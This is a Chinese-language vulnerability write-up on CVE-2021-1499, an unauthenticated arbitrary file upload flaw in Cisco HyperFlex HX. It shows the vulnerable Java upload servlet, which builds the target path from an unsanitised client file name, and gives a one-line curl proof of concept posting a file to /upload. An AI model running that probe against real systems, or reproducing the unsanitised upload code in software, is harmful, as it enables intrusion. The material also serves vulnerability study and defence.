menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Cisco chevron_right Cisco HyperFlex HX upload 任意文件上传漏洞 CVE-2021-1499.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Cisco HyperFlex HX upload 任意文件上传漏洞 CVE-2021-1499.md
    2.56 KB / 2021-07-04 06:01:08
        # Cisco HyperFlex HX upload 任意文件上传漏洞 CVE-2021-1499
    
    ## 漏洞描述
    
    思科在研究人员Nikita Abramov和Mikhail Klyuchnikov发现的HyperFlex HX数据平台中修复了两个Unauth RCE和一个任意文件上载
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > Cisco HyperFlex HX
    
    ## 漏洞复现
    
    出现漏洞的代码为
    
    ```java
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.isMultipart = ServletFileUpload.isMultipartContent(request);
        response.setContentType("application/json");
        PrintWriter out = response.getWriter();
        if (!this.isMultipart) {
          out.println("{\"result\": \"Invalid content-type.\"}");
          logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
          response.setStatus(400);
          return;
        }
        ServletFileUpload upload = new ServletFileUpload();
        upload.setSizeMax(this.maxFileSize);
        FileOutputStream fout = null;
        InputStream stream = null;
        try {
          FileItemIterator iter = upload.getItemIterator(request);
          while (iter.hasNext()) {
            try {
              FileItemStream fi = iter.next();
              stream = fi.openStream();
              String uploadedFileName = this.dirPath + "/" + fi.getName();
              File uploadedFile = new File(uploadedFileName);
              fout = new FileOutputStream(uploadedFile);
              byte[] buffer = new byte[1024];
              int len;
              while ((len = stream.read(buffer, 0, buffer.length)) != -1)
                fout.write(buffer, 0, len);
              out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
              logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
            } catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
              logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
            } finally {
              if (fout != null) {
                logger.info("Closing fout");
                fout.close();
              }
              if (stream != null) {
                logger.info("Closing stream");
                stream.close();
              }
            }
          }
        } catch (Exception ex) {
          out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
          logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
          logger.error("Exception during file upload servlet stream processing: " + ex);
          response.setStatus(500);
        }
    ```
    
    POC为
    
    ```
    curl -v http://xxx.xxx.xxx.xxx/upload -F x=@/dev/null
    ```
    
    
    
    links
    file_download